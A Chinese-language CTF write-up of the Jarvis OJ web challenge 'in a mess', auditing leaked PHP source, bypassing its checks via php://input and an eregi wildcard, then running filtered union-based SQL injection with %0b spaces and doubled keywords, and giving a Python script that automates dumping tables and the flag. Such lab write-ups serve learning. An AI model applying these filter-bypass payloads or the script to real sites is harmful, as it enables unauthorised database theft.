美文网首页
CTF-WEB-in a mess#sql注入#php代码审计

CTF-WEB-in a mess#sql注入#php代码审计

作者: Watanuki | 来源:发表于2018-08-31 13:14 被阅读0次

    in a mess——PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

    描述

    连出题人自己都忘了flag放哪了,只记得好像很混乱的样子。http://web.jarvisoj.com:32780/

    分析

    1. 访问看见
    <!--index.phps-->work harder!harder!harder!
    

    乖巧可爱的跟着出题老师去index.phps,看到源码。

        <?php
        error_reporting(0);
        echo "<!--index.phps-->";
        if(!$_GET['id']){
            header('Location: index.php?id=1');
            exit();}
        $id=$_GET['id'];
        $a=$_GET['a'];
        $b=$_GET['b'];
        if(stripos($a,'.')){ 
    #a里不能有.
            echo 'Hahahahahaha';
            return ;}
        $data = @file_get_contents($a,'r');
        if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){ 
            require("flag.txt");}
        else{
            print "work harder!harder!harder!";}?>
    

    得出结论要传3个参数
    1.1 id值等于0但自身不能为0
    1.2 b长度大于5且可能涉及eregi绕过(譬如b[0]='.',通配符匹配)
    1.3 a涉及file_get_contents,需用伪协议php://input传入"1112 is a nice lab!"

    1. 于是提交payload:id=0.0&b=%2E11111&a=php://input ; post:1112 is a nice lab!
      拿到: Come ON!!! {/^HT2mCpcvOLf},但是作为flag提交了不对(看起来是不太对但试试又不吃亏)
    2. 思路卡了,看wp发现是地址ORZ。访问http://web.jarvisoj.com:32780/^HT2mCpcvOLf,bp里直接改还不行……浏览器访问自动变成了/^HT2mCpcvOLf/index.php?id=1,页面显示hi666。
    3. id改成2则显示:SELECT * FROM content WHERE id=2,提交id=2-1发现是可以执行的,考点变成了sql注入
    4. 试了试发现有过滤,回显为如果检测到注入就返回you bad bad……,如果执行了查询不到结果就返回执行语句。根据回显逻辑一路发现过滤空格、+、/**/,部分关键词作删除处理(但可以用双重嵌入绕过),各种试空格符发现不过滤%0b,到这里差不多可以开始注入了
      ?id=-1%0bununionion%0bseselectlect%0b1,2,database()#
      ——test
      id=-1%0bununionion%0bseselectlect%0b1,2,table_name%0bfrfromom%0binformation_schema.tables%0bwhere%0btable_schema=database()#
      ——content
      id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(column_name)%0bfrfromom%0binformation_schema.columns%0bwhere%0btable_schema=database()
      ——id,context,title
      id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(id,context,title)%0bfrfromom%0bcontent%0blimit%0b1%0boffset%0b0#
      ——1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666。
      如果存在其他条目里就offset慢慢移吧,本题刚好只有一条数据。

    总结

    1.手动sql注入时的小经验,对于这种有过滤的,手动写语句经常出错(是我了),可以再分小点,比如都先union select 1,2,3 ,只改后面的,分步调试()
    2.传参的套路感觉都不用总结了,毕竟我也是看过《正则表达式必知必会》的人()!但后面没想到括号里是网址……套路防不胜防,甘拜下风

    总结2

    然后因为题目简单,加作业了……写代码撸一下手动注入的逻辑。先order by(这么小的数就不二分法了()),再union select确定回显位,再查表名、列名、字段。写是写完了,写完一看这不就是sqlmap的一部分吗,我为什么不去看sqlmap的源码就好了()


    代码执行结果
    import requests
    
    def sqlfilt(payload):#过滤绕过
        result = []
        for i in payload.split(' '):#对关键词做处理
            if i.isalpha(): #处理方法1,中间加过滤关键字union
                temp = i[:len(i)//2]+'union'+i[len(i)//2:]
                result.append(temp)
            else:result.append(i)
        return '%0b'.join(result) #空格替换方式
    
    def step1(url): #确定column列数N
        N = 0
        for i in range(10,1,-1):
            payload = sqlfilt('1 order by %d#'%(i)) 
            ret = requests.get(url+payload).text
            if NORMAL not in ret:
                N = i+1
        print ('column总列数为%d'%(N))
        return N
    def step2(url,N): #确定column回显位置
        payload = '-1 union select '
        for i in range(1,N+1):
            payload += str(i)+','
        payload = sqlfilt(payload[:-1]+'#')
        ret = requests.get(url+payload).text
        INDEX = int(ret)#可能需要在print(ret)再在回显里找一找,
        print('回显位置为%d'%(INDEX))
        return INDEX
        
    def unisel(N,INDEX,string): #构造回显注入点(前半截)
        PAYLOAD = '-1 union select '
        for i in range(1,N+1):
            if i != INDEX:
                PAYLOAD += str(i)+','
            else:
                PAYLOAD += string+','
        return PAYLOAD[:-1]
    
    def step3(url): #查看表名
        payload = unisel(N,INDEX,'group_concat(table_name)')+' from information_schema.tables where table_schema=database()#'
        payload = sqlfilt(payload)
        ret = requests.get(url+payload).text
        TABLES = ret
        print ('表名为%s'%(TABLES))
        return TABLES
        
    def step4(url):#查看列名
        payload = unisel(N,INDEX,'group_concat(column_name)')+' from information_schema.columns where table_schema=database()#' #如果多的话用limit 1 OFFSET 0逐个试
        payload = sqlfilt(payload)
        ret = requests.get(url+payload).text
        COLUMNS = ret.split(',')
        print ('列名为%s'%(COLUMNS))
        return COLUMNS
        
    def step5(url,COLUMNS,TABLES):#查看字段值
        string = 'group_concat('
        for i in COLUMNS:
            string += i+','
        string = string[:-1]+')'
        payload = unisel(N,INDEX,string)+' from %s limit 1 offset 0#'%(TABLES)#第一行没有就接着查-。-
        print(payload)
        payload = sqlfilt(payload)
        ret = requests.get(url+payload).text
        print ('结果为%s'%(ret))
    
        
    s = requests.session()
    url = 'http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id='
    NORMAL = requests.get(url+'-1').text[:-2] #回显规则:语句正确但查询没有结果时将返回查询语句,用于基准判断
    N = step1(url)
    INDEX = step2(url,N)
    TABLES = step3(url)
    COLUMNS = step4(url)
    step5(url,COLUMNS,TABLES)
    

    大家可以看出我的代码是多么啰嗦了……好了以后再去看sqlmap怎么写的,学习下优秀的编程风格ORZ。

    相关文章

      网友评论

          本文标题:CTF-WEB-in a mess#sql注入#php代码审计

          本文链接:https://www.haomeiwen.com/subject/lieswftx.html